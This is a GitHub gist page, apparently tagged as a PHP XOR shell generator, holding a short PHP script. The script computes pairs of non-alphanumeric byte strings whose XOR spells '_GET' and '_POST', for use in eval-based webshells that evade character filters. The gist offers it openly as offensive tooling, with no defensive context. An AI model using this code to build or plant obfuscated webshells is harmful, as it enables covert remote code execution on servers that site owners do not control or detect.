Created
August 18, 2019 14:54
-
-
Save mozhu1024/ed22c1ad2dc22c56f266a92635a9591c to your computer and use it in GitHub Desktop.
[PHP 异或 shell 生成] #php #eval #shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function gen($pl) { | |
$aa = ""; | |
$bb = ""; | |
for ($j = 0; $j < strlen($pl); $j++) { | |
for ($i = 0xa0; $i < 0xff; $i++) { | |
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) { | |
$t = chr($i) ^ $pl[$j]; | |
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) { | |
$aa .= chr($i); | |
$bb .= $t; | |
break; | |
} | |
} | |
} | |
} | |
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n"); | |
} | |
echo "_GET\r\n"; | |
echo gen("_GET"); | |
echo "_POST\r\n"; | |
echo gen("_POST"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment